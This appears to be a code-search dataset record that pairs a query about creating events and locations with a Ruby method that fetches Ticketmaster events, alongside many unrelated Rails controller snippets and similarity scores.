"def destroy\n @example.update_attributes(:deleted => 1)\n respond_to do |format|\n format.html { redirect_to examples_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n # @thing.destroy\n # respond_to do |format|\n # format.html { redirect_to things_url, notice: 'Thing was successfully destroyed.' }\n # format.json { head :no_content }\n # end\n end",
"def delete\n @record = find_if_allowed(params[:id], :destroy)\n render :action => 'delete'\n end",
"def destroy\n if current_rule.antragStatus\n @antrag_status.destroy\n respond_to do |format|\n format.html { redirect_to antrag_statuses_url, notice: 'Antrag status was successfully destroyed.' }\n format.json { head :no_content }\n end \n else\n redirect_to root_path alert: \"Keine Recht\"\n end\n \n end",
"def cannot_be_deleted\n return false if self.id == 1\n end",
"def destroy?\n update?\n end",
"def destroy\n # Use helpers in controller, but not recommended\n if helpers.isAdmin?\n @intervention.destroy\n respond_to do |format|\n format.html { redirect_to interventions_url, notice: \"Intervention was successfully destroyed.\" }\n format.json { head :no_content }\n end\n else\n respond_to do |format|\n format.html { redirect_to interventions_url, danger: \"You have not the permission to do this action.\" }\n end\n end\n end",
"def destroy\n #add admin check here!\n @diner.destroy\n respond_to do |format|\n format.html { redirect_to diners_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n task\n if @item.destroy\n flash[:success] = \"Item was deleted.\"\n else\n flash[:error] = \"Item not deleted.\"\n end\n render json: {status: :ok}\n end",
"def destroy\n @o_single.destroy\n respond_to do |format|\n format.html { redirect_to contents_url, notice: t(\"general.successfully_destroyed\") }\n format.json { head :no_content }\n end\n end",
"def delete\n deleted\n save\n end",
"def destroy\n @item.destroy\n return success_item_destroy\n end",
"def destroy\n respond_to do |format|\n if @contrato.destroy\n format.html { redirect_to contratos_url, notice: 'Contrato fue eliminado exitosamente.' }\n format.json { head :no_content }\n else\n format.html { render :show, notice: 'El Contrato no pudo ser eliminado.' }\n format.json { head :no_content }\n end\n end\n end",
"def destroy\n @todo.destroy\n respond_to do |format|\n format.html { redirect_to todos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @model.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def destroy\n # .destroy is like a \"delete from people ...\"\n if @person.destroy\n # :ok is the http status code 200\n render status: :ok\n else\n render status: :not_found\n end\n \n end",
"def deleted?\n !!deleted\n end",
"def deleted?\n (status == DELETED)\n end",
"def deleted?\n (status == DELETED)\n end",
"def destroy\n @todolists.destroy\n respond_to do |format|\n format.html { redirect_to todolist_url, notice: 'Task was successfully destroyed.' }\n format.json { head :no_content }\n end\nend",
"def destroy\n @devi.destroy\n respond_to do |format|\n format.html { redirect_to devis_url, notice: \"Le devis a été supprimé.\" }\n format.json { head :no_content }\n end\n end",
"def delete_authorized?\n authorized_for?(:action => :destroy)\n end",
"def destroy\n #cant delete any business\n respond_to do |format|\n #format.html { render :template => \"shared/status_#{status.to_s}\", :status => 403 }\n format.any { render :text => \"can't delete business\", :status => 403 } # only return the status code\n end\n\n# @business = Business.find(params[:id])\n# @business.destroy\n#\n# respond_to do |format|\n# format.html { redirect_to(businesses_url) }\n# format.xml { head :ok }\n# end\n end"
] |
[
"0.78598106",
"0.76525074",
"0.74612355",
"0.72845715",
"0.72845715",
"0.7251751",
"0.72403985",
"0.7223704",
"0.7213853",
"0.7136226",
"0.71304864",
"0.7097129",
"0.70934594",
"0.70934594",
"0.70934594",
"0.70934594",
"0.7080208",
"0.70544845",
"0.69938797",
"0.6976273",
"0.6969836",
"0.6962434",
"0.69442165",
"0.6930218",
"0.6929893",
"0.692928",
"0.6919631",
"0.6915827",
"0.6915827",
"0.6914885",
"0.691027",
"0.691027",
"0.691027",
"0.691027",
"0.691027",
"0.691027",
"0.691027",
"0.69016",
"0.68969536",
"0.68929106",
"0.6888969",
"0.68743145",
"0.68743145",
"0.68740124",
"0.6839723",
"0.6832999",
"0.6829362",
"0.680743",
"0.6800516",
"0.6789849",
"0.6786239",
"0.6780924",
"0.6752118",
"0.67503095",
"0.6749844",
"0.67492044",
"0.6744621",
"0.6741123",
"0.6739474",
"0.6739332",
"0.6739039",
"0.67357534",
"0.6731698",
"0.67172205",
"0.6710416",
"0.6698795",
"0.6698181",
"0.66978675",
"0.66977865",
"0.66959983",
"0.6692632",
"0.6688506",
"0.66878086",
"0.66873336",
"0.6683402",
"0.66831046",
"0.6677312",
"0.6671356",
"0.6668828",
"0.666391",
"0.6660152",
"0.6645152",
"0.6645106",
"0.6644487",
"0.6640205",
"0.6627642",
"0.6626806",
"0.66263264",
"0.6621015",
"0.6616689",
"0.66137147",
"0.66093427",
"0.66089743",
"0.6604648",
"0.66035277",
"0.6603313",
"0.6603313",
"0.6602218",
"0.6592032",
"0.65917045",
"0.6591017"
] |
0.0
|
-1
|
Functions available for Process to communicate with the controler Object
|
def cloud_obj_requires(sCloudObj, res = {})
aCaller = caller
aCaller.pop
return res if @ObjectData.exist?(sCloudObj)
#~ return res if rhExist?(@CloudData, sCloudObj) == 1
rhGet(@@meta_obj,sCloudObj, :params).each { |key, hParams|
case hParams[:type]
when :data
if hParams.key?(:array)
hParams[:array].each{ | aElem |
aElem = aElem.clone
aElem.pop # Do not go until last level, as used to loop next.
rhGet(hParams, aElem).each { | subkey, hSubParam |
next if aElem.length == 0 and [:array, :type].include?(subkey)
if hSubParams[:required] and @oForjConfig.get(subkey).nil?
res[subkey] = hSubParams
end
}
}
else
if hParams[:required] and @oForjConfig.get(key).nil?
res[key] = hParams
end
end
when :CloudObject
#~ if hParams[:required] and rhExist?(@CloudData, sCloudObj) != 1
if hParams[:required] and not @ObjectData.exist?(sCloudObj)
res[key] = hParams
cloud_obj_requires(key, res)
end
end
}
res
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def process\n end",
"def process\n raise \"Must be implemented\"\n end",
"def process; end",
"def process; end",
"def process; end",
"def process; end",
"def process; end",
"def process; end",
"def process; end",
"def process; end",
"def manage_processes\n puts \"in manage process\"\nend",
"def process\n\t\tbrand(Rex::Post::Meterpreter::Extensions::Stdapi::Sys::Process)\n\tend",
"def process(*)\n end",
"def process(*)\n end",
"def process!\n end",
"def call\n process\n end",
"def process(*)\n end",
"def process\n raise NotImplementedError(\"The instance method '#process' must be implemented for the operation\")\n end",
"def on_process(&block); end",
"def process\n self\n end",
"def initialize(process)\n self.process = process\n end",
"def on_begin_process()\n # subclasses may override this method \n end",
"def initialize(process); end",
"def process\n raise NotImplementedError\n end",
"def process\n raise NotImplementedError\n end",
"def processor; end",
"def perform_io; end",
"def system; end",
"def system; end",
"def command_queue; end",
"def child_process(result)\n end",
"def handle\n end",
"def commands; end",
"def command; end",
"def command; end",
"def command; end",
"def command; end",
"def command; end",
"def command; end",
"def process()\n\n\t\t# first byte holds the command\n\t\ti = @sBuffer[0]\n\n\t\t# nil == i that would mean buffer is empty -> should never happen\n\t\treturn super if i.nil?\n\n\t\t# OS X has different handling\n\t\ti = i.chr() if (:macosx == @sOS)\n\n\t\tsBasename = File::basename(@sPathFile)\n\n\t\tcase i\n\t\t\twhen 'e'\n\t\t\t\t# update EEPROM caches\n\t\t\t\tputs 'OK:ft:Got e-signal from Trigger ' << sBasename\n\t\t\t\tSssSEMapp.updateEEPROMcaches();\n\n\t\t\twhen 'q'\n\t\t\t\t# quit\n\t\t\t\tputs 'OK:ft:Got quit-signal from Trigger ' << sBasename\n\t\t\t\tSssSEMapp.dealloc()\n\n\t\t\twhen 'r'\n\t\t\t\t# restart system\n\t\t\t\tputs 'OK:ft:Got restart-signal from Trigger ' << sBasename\n\t\t\t\tself.deployTriggerSystemRestart()\n\t\t\t\tSssSEMapp.dealloc()\n\n\t\t\twhen 's'\n\t\t\t\t# shutdown system\n\t\t\t\tputs 'OK:ft:Got shutdown-signal from Trigger ' << sBasename\n\t\t\t\tself.deployTriggerSystemShutdown()\n\t\t\t\tSssSEMapp.dealloc()\n\n\t\t\twhen 'w'\n\t\t\t\t# write settings to disk\n\t\t\t\tputs 'OK:ft:Got write-settings-signal from Trigger ' << sBasename\n\t\t\t\tSssSEMapp.saveConfig()\n\n\t\t\telse\n\n\t\t\t\t# if not a valid command, clear buffer\n\n\t\tend # switch case\n\n\t\tsuper\n\n\tend",
"def process\n @process ||= Bumbleworks::Process.new(@fei.wfid)\n end",
"def on_process(&callback)\n @callback = callback\n end",
"def process(message)\n end",
"def handle; end",
"def process\n return @args[:process]\n end",
"def message\n process_mess\n end",
"def process_msgs\n end",
"def process\n # no-op by default\n end",
"def process(io, context = {})\n end",
"def post_process\n end",
"def method1\n # some proccesses\nend",
"def method1\n # some proccesses\nend",
"def process\n raise Error::new(\"This method should be implemented by a subclass\")\n end",
"def interpret_task\n\n command = params[:process].to_sym\n respond_to do |format|\n case command\n when :setup\n setup_project() if @project.may_setup?\n @project.setup! # TODO refactor setup_project as a :before callback to event\n\n format.html { redirect_to project_path(@project, :submit_action => 'setup'), notice: 'Request for project set-up has been submitted.' }\n format.json {render :json => {'data' => 'Request for project set-up has been submitted.'}.merge(state_snapshot)}\n when :start, :stop, :abort, :terminate\n submit_process(command) if @project.send(\"may_#{command}?\")\n @project.send(\"#{command}!\") # TODO refactor as a :before callback to events\n format.html { redirect_to project_path(@project, :submit_action => params[:process]), notice: 'Request for project '+params[:process]+' has been submitted.' }\n format.json {render :json => {'data' => 'Request for project '+params[:process]+' has been submitted.'}.merge(state_snapshot)}\n when :download, :export\n\n id_ary = params[:ids].map(&:to_i).reverse\n # save data for selected results\n result_download_data = Hash.new\n result_download_data[:test_ids] = id_ary.join(',')\n result_download_data[:project_id] = @project.id\n result_download_data[:result_type] = params[:process]\n result_download = ProjectResultDownload.new(result_download_data)\n result_download.save!\n\n project_results_download(params[:process], id_ary, result_download.id)\n\n format.json {render :json => {'request_id' => result_download.id, 'status' => 0}}\n else\n format.html { redirect_to project_path(@project), notice: 'Unidentified process command.' }\n format.json {render :json => {'data' => 'Unidentified process command.'}}\n end\n\n end\n end",
"def exec; end",
"def exec; end",
"def producer; end",
"def process\n Bumbleworks::Process.new(wfid)\n end",
"def process_protocol(cmds, vars)\n end",
"def communicate(hash)\n raise ::PhpProcess::DestroyedError if @php_process.destroyed?\n @objects_handler.flush_unset_ids\n communicate_real(hash)\n end",
"def executor; end",
"def executor; end",
"def executor; end",
"def process(data)\n end",
"def process(_cmd); raise NotImplementedError\n end",
"def on_process( &block )\n @processor = block\n end",
"def execute\n\t@control.run()\n end",
"def talk\n \n #\n # The Listening Proc\n # \n # This proc loopingly accepts a piping hot TiscapTransmission,\n # interprets it, and acts upon it. It almost never exits by itself,\n # but will sometimes call #graceful to cause itself to be\n # indirectly terminated.\n # \n Concurrent.ly do\n \n loop do\n begin # like ‘try’\n \n # If we're no longer accepting, stop reading now.\n break unless @accepting\n \n # Pull a Transmission off the wire.\n # Execution usually waits here.\n received = TiscapTransmission.from @iost\n \n # Now that we have a transmission, interpret it\n # based on the verb at hand:\n \n case received.verb\n \n when :'/private' # Deliver a private message.\n \n raise BadSyntaxError.new unless username_arg_ok? received.argument\n raise BadSyntaxError.new if received.data.nil?\n \n # all messages go over the MessageDispatch Hub.\n MessageDispatch.hub.send_private received.argument, received.data, self.name\n \n \n when :'/public' # Broadcast a public message.\n \n raise BadSyntaxError.new unless received.argument.nil?\n raise BadSyntaxError.new if received.data.nil?\n \n # even public messages go over the MessageDispatch Hub.\n MessageDispatch.hub.send_public received.data, self.name\n \n \n when :'/users' # Prepare and send back the active user list.\n \n response = TiscapTransmission.new( :']activeusers',\n MessageDispatch.hub.users.join(','),\n nil )\n self.receive response\n \n \n when :'/close' # Close the connection.\n \n self.graceful\n \n \n else # probably a server verb. not cool.\n raise BadSyntaxError.new\n \n \n end\n \n \n # Mitigate overrunning the whole machinery, and don't\n # accept more data for a little bit:\n sleep 0.25\n \n \n \n rescue TiscapError => you_fucked_up\n # Syntax errors raised above land here.\n # These can be written to the client, and then ignored.\n self.error you_fucked_up\n \n rescue EOFError, IOError, SystemCallError => goodbye\n # I/O problems land here, as in when the input stream\n # gets terminated. We could kill the connection,\n # but it might not be so dire; and the #graceful procedure\n # is robust enough to bail out of an already-dead stream.\n self.graceful\n break\n \n rescue NoMethodError, JavaLang::NullPointerException => to_err\n # An error I haven't yet caught will hopefully land here,\n # barf its backtrace, and cause the handler to stop reading\n # from the client.\n puts to_err.inspect\n puts to_err.backtrace\n break\n \n end # try\n end # loop\n \n end # thread\n \n \n \n \n #\n # The Writing Proc\n # \n # This proc loopingly waits for things to say (in the @outbox)\n # and---gasp!---writes them out to the client. It's this proc\n # which is responsible for executing a graceful shutdown of the\n # connection. When it receives a HaltTransmission in the @outbox,\n # it breaks its run loop, closes the I/O stream, and instructs\n # the MessageDispatch Hub to disown the handler, thereby re-\n # moving itself from the chat circle.\n # \n Concurrent.ly do\n \n loop do\n begin\n \n # We don't break if inactive,\n # because we might have a few more messages to shove down the pipe.\n \n toGo = @outbox.take\n break if toGo.is_last? # Graceful shutdown\n \n @iost.write toGo.representation\n \n rescue EOFError, IOError, SystemCallError => goodbye\n # When the I/O stream breaks, we land here.\n # Just hop out of the loop for cleanup.\n break\n \n rescue NoMethodError, JavaLang::NullPointerException => to_err\n # Uh-oh. I missed something. Better fix it...\n # but first, break the connection.\n puts to_err.inspect\n puts to_err.backtrace\n break\n \n end # try\n end # loop\n \n \n #\n # As soon as the write-loop ends, break the pipe altogether:\n @iost.close rescue nil\n \n #\n # And then tell MessageDispatch to disown us:\n MessageDispatch.hub.disown self\n \n \n end # thread\n \n \n \n end",
"def recup_handle\n\t\t\n\tend",
"def capture_subprocess_io; end",
"def process\n # no-op\n end",
"def on_end_process()\n # subclasses may override this method\n end",
"def process\n raise CommandError, \"command '#{command_name}' not implemented\"\n end",
"def process(data)\n end",
"def process_name\n\n\t\t::Pantheios::Core.process_name\n\tend",
"def initialize\n @processes = []\n end",
"def initialize(process)\n\t\t\t\tsuper(IO.popen(process, Writeable))\n\t\t\tend",
"def running; end",
"def running; end",
"def receive_object message\n message.exec self \n end",
"def process()\n begin\n @sock.sync=true\n req=WEBrick::HTTPRequest.new(WEBrick::Config::HTTP.dup)\n res=WEBrick::HTTPResponse.new(WEBrick::Config::HTTP.dup)\n WEBrick::Utils::set_non_blocking(@sock)\n WEBrick::Utils::set_close_on_exec(@sock)\n req.parse(@sock)\n $logger.debug \"PATH=#{req.path}\"\n $logger.debug \"QUERY=#{req.query_string}\"\n args=req.path.split('/')\n cmd=args.last()\n str=run(cmd, req.query_string)\n res.request_method=req.request_method\n res.request_uri=req.request_uri\n res.request_http_version=req.http_version\n res.keep_alive=false\n res.body=\"Accepted,#{req.path},#{str}\"\n res.status=200\n $logger.debug res.inspect()\n res.send_response(@sock)\n rescue Errno::ECONNRESET, Errno::ECONNABORTED, Errno::EPROTO=>ex\n rescue Exception => ex\n raise ex.inspect()\n end\n end",
"def process()\n begin\n @sock.sync=true\n req=WEBrick::HTTPRequest.new(WEBrick::Config::HTTP.dup)\n res=WEBrick::HTTPResponse.new(WEBrick::Config::HTTP.dup)\n WEBrick::Utils::set_non_blocking(@sock)\n WEBrick::Utils::set_close_on_exec(@sock)\n req.parse(@sock)\n $logger.debug \"PATH=#{req.path}\"\n $logger.debug \"QUERY=#{req.query_string}\"\n args=req.path.split('/')\n cmd=args.last()\n str=run(cmd, req.query_string)\n res.request_method=req.request_method\n res.request_uri=req.request_uri\n res.request_http_version=req.http_version\n res.keep_alive=false\n res.body=\"Accepted,#{req.path},#{str}\"\n res.status=200\n $logger.debug res.inspect()\n res.send_response(@sock)\n rescue Errno::ECONNRESET, Errno::ECONNABORTED, Errno::EPROTO=>ex\n rescue Exception => ex\n raise ex.inspect()\n end\n end",
"def shell_api; end",
"def passthru\n\n end",
"def process(env); end",
"def process(*args)\n new.process(*args)\n end",
"def process\n @notifier.process\n end",
"def windows_processes\n\t\trequire 'win32ole'\n\t\twmi = WIN32OLE.connect(\"winmgmts://\")\n\t\twmi.ExecQuery(\"select * from win32_process\").map do |proc_info|\n\t\t\tparse_oleprocinfo(proc_info)\n\t\tend\n\tend",
"def windows_processes\n\t\trequire 'win32ole'\n\t\twmi = WIN32OLE.connect(\"winmgmts://\")\n\t\twmi.ExecQuery(\"select * from win32_process\").map do |proc_info|\n\t\t\tparse_oleprocinfo(proc_info)\n\t\tend\n\tend",
"def process_command(rep)\n\t \t\taddress = rep[:address]\n\n\t \t\tif address==1\n\t \t\t\tqueue = @cmd_queue_1\n\t \t\telse\n\t \t\t\tqueue = @cmd_queue_0\n\t \t\tend\n\n\t \t\tcase rep[:type]\n\t \t\t\twhen 0\n\t \t\t\t\t@log.info \"Command OK\"\n\t \t\t\twhen 1\n\t \t\t\t\t@log.error \"Invalid Command\"\t\n\t \t\t\twhen 2\n\t \t\t\t\t@log.error \"Busy - command ignored\"\t\t\n\t \t\t\twhen 3\n\t \t\t\t\t@log.error \"Can't Process - input out of range or error\"\n\t \t\t\t\t\n\t \t\tend\n\t \t\twrite_command_status(queue)\n\t end",
"def broadcast\n end",
"def post_process; end",
"def process(*args)\n init_srv\n super\n end",
"def distro_dispatch\n end",
"def process\n debug [self.name, \"processing\", params.inspect]\n\n case params.delete(:command).to_s\n when \"broadcast\" then broadcast\n when \"query\" then query\n else raise(InvalidQuery, \"unknown command\")\n end\n end",
"def cmd; end",
"def procs\n @procs\n end",
"def call\n\n\tend",
"def call\n\n\tend",
"def process(number, processor)\n puts 'STARTING PROCESSING'\n result = processor.call(number)\n puts 'END PROCESSING'\n result\nend",
"def process\n if @patient.nil?\n # patient needs to log in\n Authenticator.new(@message, @patient).manage\n else\n # when user is logged in save his input text\n Dialogue.new(@patient).save_patient_reply(text)\n\n # dispatch in function of user state and text input\n aasm_state = @patient.aasm_state\n\n case aasm_state\n when 'idle'\n manage_idle(text)\n\n when 'questionnaires'\n manage_questionnaires(text)\n\n else # 'responding'\n manage_responding(text)\n\n end\n\n end\n end"
] |
[
"0.70587337",
"0.6702603",
"0.6643209",
"0.6643209",
"0.6643209",
"0.6643209",
"0.6643209",
"0.6643209",
"0.6643209",
"0.6643209",
"0.6455936",
"0.63539416",
"0.6318253",
"0.6318253",
"0.6272446",
"0.6266425",
"0.6260481",
"0.624903",
"0.62284136",
"0.61609733",
"0.6096788",
"0.60411376",
"0.59879655",
"0.5969539",
"0.5969539",
"0.59512013",
"0.5894033",
"0.588815",
"0.588815",
"0.58430856",
"0.5838814",
"0.583582",
"0.58118844",
"0.57860005",
"0.57860005",
"0.57860005",
"0.57860005",
"0.57860005",
"0.57860005",
"0.57550454",
"0.571571",
"0.57041305",
"0.56938714",
"0.567173",
"0.56711763",
"0.56675607",
"0.5640157",
"0.56149834",
"0.55815965",
"0.5565494",
"0.55576897",
"0.55576897",
"0.5548316",
"0.5542732",
"0.554191",
"0.554191",
"0.5520872",
"0.5511128",
"0.5508098",
"0.5504395",
"0.54984283",
"0.54984283",
"0.54984283",
"0.54850054",
"0.54839486",
"0.54785",
"0.5469007",
"0.5466848",
"0.5462438",
"0.54509276",
"0.5449453",
"0.5430568",
"0.5429531",
"0.54284537",
"0.54261893",
"0.54245543",
"0.5419532",
"0.54194283",
"0.54194283",
"0.54165477",
"0.54145586",
"0.54145586",
"0.5412879",
"0.5400572",
"0.5399797",
"0.5388543",
"0.53755516",
"0.5375164",
"0.5375164",
"0.5372254",
"0.53710246",
"0.53662187",
"0.5353594",
"0.53534573",
"0.53527355",
"0.53513795",
"0.53498703",
"0.53414136",
"0.53414136",
"0.53397053",
"0.5333315"
] |
0.0
|
-1
|
Creating all Events and Locations
|
def get_events_from_api(name)
#make the web request
name1 = name
performer_link = "https://app.ticketmaster.com/discovery/v2/events.json?keyword=#{name1}&countrycode=US&apikey=ShI4Sd340EJ32f1k6rUgkYPocLSO2qTq"
response_string = RestClient.get(performer_link)
response_hash = JSON.parse(response_string)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def create_events\n end",
"def create\n @location = Location.find(params[:location_id])\n @event_types = EventType.all(:order => 'name') # strictly for display of error\n \n # sanitize and all that\n #params[:event][:event_details_attributes][:\"0\"][:desc] = format_content(params[:event][:event_details_attributes][:\"0\"][:desc])\n \n # format time from plugin\n params[:event][:event_details_attributes][:\"0\"][:time_from] = Time.parse(params[:event_data][:\"time_from(5i)\"])\n params[:event_data].delete([:\"time_from(5i)\"])\n params[:event][:event_details_attributes][:\"0\"][:time_to] = Time.parse(params[:event_data][:\"time_to(5i)\"])\n params[:event_data].delete([:\"time_to(5i)\"])\n \n @event = @location.events.create(params[:event])\n @event.location = @location\n @event.event_dates.each do |ed|\n ed.destroy unless ed.day || ed.date \n end\n \n respond_to do |format|\n if @event.save\n flash[:notice] = 'Event was successfully created.'\n format.html { redirect_to(@event) } # for realz\n #format.html { render :action => \"new\" } # for test\n format.xml { render :xml => @event, :status => :created, :location => @event }\n else\n format.html { render :action => \"new\" } # index used to add events...sorry\n format.xml { render :xml => @event.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def build_event_templates\n @event_templates = events.map do |e|\n EventTemplate.new(e).tap { |et| add_instruments_to_template(et) }\n end\n end",
"def create_event(api_data, artist_id) \n \n i=0\n display_names = []\n uris = []\n dates = []\n times = []\n locations = []\n\n api_data.each do |key, value|\n value.each do |k2, v2|\n if k2 == \"results\"\n v2.each do |k3, v3|\n v3.each do |results|\n results.each do |k4, v4|\n if k4 === \"displayName\"\n display_names << v4\n end \n if k4 === \"uri\"\n uris << v4\n end \n if k4 === \"location\"\n v4.each do |k5, v5|\n if k5 === \"city\"\n locations << v5\n end \n end \n end \n if k4 === \"start\" \n v4.each do |k5, v5|\n if k5 === \"date\"\n dates << v5\n end \n if k5 === \"time\"\n if v5 === nil\n times << \"TBA\"\n else\n times << v5\n end\n end \n end \n end \n end \n end \n end \n end \n end \n end \n\n loop_times = 5 \n\n if display_names.length < loop_times \n loop_times = display_names.length\n end \n \n loop_times.times do \n Event.create(name: display_names[i], location: locations[i], event_url: uris[i], date: dates[i], time: times[i], artist_id: artist_id)\n i += 1\n end \n\nend",
"def init_event_holders\n @txtout_events = Array.new\n @resmon_events = Array.new\n end",
"def add_events(new_events); end",
"def initialize_events # :nodoc:\n\t # Create all event generators\n\t bound_events = Hash.new\n\t model.each_event do |ev_symbol, ev_model|\n ev = TaskEventGenerator.new(self, ev_model)\n ev.plan = plan\n\t\tbound_events[ev_symbol.to_sym] = ev\n\t end\n\t @bound_events = bound_events\n end",
"def crear\n @eventos = Evento.new\n end",
"def event_all_new(events)\n event_all(events.stack, events.all.first.id)\n end",
"def event_all_new(events)\n event_all(events.stack, events.all.first.id)\n end",
"def new\n @event = Event.new\n\tinitialize_object_and_day \n\tinitialize_branch\n end",
"def build_import_events(data)\n \t\tbegin\n \t\t\tTime.zone = ENV['DEFAULT_TIME_ZONE']\n \t\t\tstart_date = Date.parse(data[:event]['start_date'])\n \t\t\tstart_time = Time.zone.parse(data[:event]['start_time'])\n\t \t\t{\n\t calendar_id: ENV['PRIMARY_NATION_CALENDAR_ID'].to_i,\n\t status: data[:event]['status'],\n\t # Optionally restrict which tags are imported\n\t tags: build_import_event_tags(data[:event]['tags']),\n\t name: data[:event]['name'],\n\t headline: data[:event]['headline'],\n\t # Optionally use the excerpt field to store a URL if you wish to redirect\n\t # users to an external event page directly from your calendar. Make sure\n\t # to also change {{ event.url }} to {{ event.excerpt }} in your theme's\n\t # calendar template.\n\t excerpt: data[:event]['excerpt'],\n\t intro: data[:event]['intro'],\n\t # The build_event_contact method only adds the contact if name and email exist:\n\t # this is a restriction imposed by the NationBuilder API\n\t contact: build_event_contact(data),\n\t start_time: get_start_time(start_date, start_time),\n\t end_time: get_end_time(start_date, start_time, data[:event]['duration']),\n\t venue: {\n\t name: data[:event]['venue_name'],\n\t address: {\n\t address1: data[:event]['address1'],\n\t city: data[:event]['city'],\n\t state: data[:event]['state'],\n\t zip: data[:event]['zip']\n\t }\n\t },\n\t # A capacity value of 0 creates the event with an unlimited capacity\n\t capacity: 0,\n\t # Choose appropriate rsvp_form settings below\n\t rsvp_form: {\n\t phone: \"hidden\",\n\t address: \"hidden\",\n\t allow_guests: true,\n\t accept_rsvps: true,\n\t gather_volunteers: false\n\t },\n\t # Optionally set values for the `autoresponse` and `shifts` attributes\n\t show_guests: true\n\t \t}\n \t\trescue ArgumentError, TypeError => error\n \t\t\terror = error.message\n \t\t\tif error == 'no implicit conversion of nil into String'\n \t\t\t\terror = \"Start date/time can't be blank\"\n \t\t\telsif error == 'invalid date'\n \t\t\t\terror = \"Start date is invalid format\"\n \t\t\tend\n\t\t\t\t{\n\t\t\t\t\tmessage: \"#{error}\",\n\t\t\t\t\tstatus: 500\n\t\t\t\t}\n\t\t\tend\n\t end",
"def create_events!(opts={})\n cutoff = Time.now.yesterday # All events before this date will be skipped\n events = []\n transaction do\n for event in self.to_events(opts)\n if opts[:skip_old]\n next if event.title.blank? && event.description.blank? && event.url.blank?\n next if event.old?\n end\n \n # Skip invalid events that start after they end\n next if event.end_time && event.end_time < event.start_time\n \n # convert to local time, because time zone is simply discarded when event is saved\n event.start_time.localtime\n event.end_time.localtime if event.end_time\n \n # clear duplicate_of_id field in case to_events picked up orphaned duplicate\n # TODO clear the duplicate_of_id at the point where the object is created, not down here\n event.duplicate_of_id = nil if event.duplicate_of_id\n event.save!\n if event.venue\n event.venue.duplicate_of_id = nil if event.venue.duplicate_of_id\n event.venue.save! if event.venue\n end\n events << event\n end\n self.save!\n end\n return events\n end",
"def initialize_events # :nodoc:\n # Create all event generators\n bound_events = {}\n model.each_event do |ev_symbol, ev_model|\n ev = TaskEventGenerator.new(self, ev_model)\n ev.plan = plan\n bound_events[ev_symbol.to_sym] = ev\n end\n @bound_events = bound_events\n end",
"def create\n @event = Event.new(event_params)\n current = @event.unit.get_current_event\n locationtext = params[:new_event][:location_id]\n if @event.unit.id != -1 && (@event.state.id == 1 || @event.state.id == 9)\n @event.code = nil\n end\n if current != nil\n if @event.state.id == 0\n @event.state = current.state\n end\n if @event.state.id > 1 && @event.state.id < 9\n if @event.code == nil || @event.code.id == 0\n @event.code = current.code\n end\n if (locationtext == nil || locationtext.length == 0) && (@event.message == nil || @event.message.length == 0)\n @event.message = current.message\n end\n end\n if locationtext == nil || locationtext.length == 0\n @event.location = current.location\n end\n end\n\n if ! @event.location || ( @event.location.id == 0 && locationtext && locationtext.length > 0 )\n location = Location.find_by_location(locationtext)\n if ! location\n usname = locationtext;\n split = locationtext.split(\" \");\n usname = split[1] + \",\" + split[0] if split.length > 1\n usname = usname + ',Helsinki,Finland'\n logger.info('Requesting ' + usname)\n results = Geocoder.search(usname)\n location = Location.create\n location.location = locationtext\n location.type_id = 0\n location.lat = results.first.coordinates[0]\n location.lon = results.first.coordinates[1]\n location.save\n end\n @event.location = location\n end\n @event.unit.state = @event.state\n @event.unit.location = @event.location\n if @event.location.lat\n @event.unit.lat = @event.location.lat\n @event.unit.lon = @event.location.lon\n end\n\n respond_to do |format|\n if @event.save! && @event.unit.save!\n if params[:previous] == \"unit\"\n format.html { redirect_to :controller => \"units\", :action => \"index\" }\n else\n format.html { redirect_to :action => \"new\" }\n end\n format.xml { render :xml => @event, :status => :created, :location => @event }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @event.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\r\n @event = Event.new(event_params)\r\n convert_timezone @event\r\n event_type_status @event\r\n if @event.save_without_exception\r\n update_theme @event\r\n add_event_categories @event\r\n add_event_location @event\r\n create_group_guest_list @event\r\n add_photos @event\r\n # Create Groups and contacts through CSV\r\n contacts_imports\r\n render json: SuccessResponse.new(\r\n code: 200, message: 'Event Created.', location: '/events/List?id=' + @event.id.to_s, eventID: @event.id\r\n ), adapter: :json, status: :ok\r\n else\r\n render json: ErrorResponse.new, adapter: :json, status: :unprocessable_entity\r\n end\r\n end",
"def create\n name = params[:event][:location] || \"Unknown\"\n location = Location.name_search(Location.sanitize(name)).first\n location = Location.create!(:name => name, :gmaps => true) unless location\n\n @event = Event.new(params[:event].except(:location, :category_ids))\n @event.location = location\n # I know we do this for some particular reason but I forgot why...\n @event.start_at = params[:event][:start_at]\n @event.end_at = params[:event][:end_at]\n @event.set_categories params[:event][:category_ids]\n if @event.save\n render json: @event\n else\n render json: @event.errors, status: :unprocessable_entity\n end\n end",
"def generate_event_set(events)\n usable_events = self.find_usable_events(events)\n self.new_event_set(usable_events)\n end",
"def processedJsonListener\n allEvents = params[:event]\n eventCounter = 0\n saveCounter = 0\n Event.delete_all\n Address.delete_all\n EventDateTime.delete_all\n\n for event in allEvents\n begin\n newevent = Event.new\n newevent.name = nil_or_string(event[:name])\n newevent.description = nil_or_string(event[:description])\n newevent.imagepath = nil_or_string(event[:imagePath])\n newevent.source = nil_or_string(event[:source])\n newevent.location = nil_or_string(event[:location])\n newevent.datetime = nil_or_string(event[:datetime])\n\n #newevent.dump = nil_or_string(event[:dump])\n\n newevent.price = flatten(event[:pPrice])\n newevent.ptime = flatten(event[:time])\n newevent.pdate = flatten(event[:date])\n\n if newevent.save\n saveCounter+=1\n if event[:addresses][:addresses] != nil and event[:addresses][:addresses].count > 0\n for address in event[:addresses][:addresses]\n newaddy = Address.new\n newaddy.event_id = newevent.id\n newaddy.full_address = nil_or_string(address[:full_address])\n newaddy.city = nil_or_string(address[:city])\n newaddy.region = nil_or_string(address[:region1])\n\n newaddy.save\n end\n end\n if event[:datetime_structs] != nil and event[:datetime_structs].count > 0\n for datetime in event[:datetime_structs]\n eventDate = EventDateTime.new\n eventDate.event_id = newevent.id\n eventDate = setDateTime(eventDate, datetime[:date][:start_date][:full_date], datetime[:time][:start_time], nil_or_string(datetime[:time][:end_time]))\n 